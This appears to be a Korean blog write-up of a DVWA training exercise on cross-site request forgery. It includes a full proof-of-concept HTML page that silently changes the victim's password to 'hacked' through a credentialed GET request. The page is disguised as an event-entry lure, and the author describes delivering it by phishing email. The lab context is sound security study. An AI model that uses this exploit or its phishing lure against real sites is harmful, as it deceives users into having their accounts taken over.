Network/DVWA

Exercise 3. CSRF

dcho 2019. 8. 9. 04:17
SMALL
CSRF공격이란?
  • Cross Site Request Forgery
  • 사이트 간 요청 위조
  • 피싱을 활용해 사용자 모르게 패스워드 변경!
  • 옥션 해킹 사건에서 사용된 공격기법

(출처:인프런/화이트해커가-되기위한-8가지)

DVWA 실습

(Low)

패스워드를 변경하면 바로 변경이 되어서 버프스위트로 확인을 해보았다.
GET으로 값을 넘겨주는 것을 확인해 볼 수 있다.

<!--
PoC: CSRF
Author: Bonghwan Choi
-->


<html>
<meta charset="UTF-8">
<head>
</head>


<script language="javascript">
    function poc() {
    
        var host='<Host url>';
        var req_uri = "http://" + host + "/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change";
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.open("GET",req_uri,true);
        xmlhttp.withCredentials = "true";
        xmlhttp.send();
        alert('이벤트에 등록이 완료되었습니다. 감사합니다.');
    
    }
    
</script>


<body>
이벤트에 응모하는 임시 페이지 입니다.<br />
이 링크를 누르시면 이벤에 등록이 됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>
이번은 피싱이기에 오픈소스를 이용해 CSRF코드를 받아 이벤트페이지로 바꾸어 주었다. 그럼 구글 메일을 이용해 피싱을 해보기로했다.

나의 운영하는 웹서버에 html파일을 올린다음 url주소를 이용해 응모하기를 만들어 주었다. 

이로써 'hacked'로 비밀번호가 변경 되었다.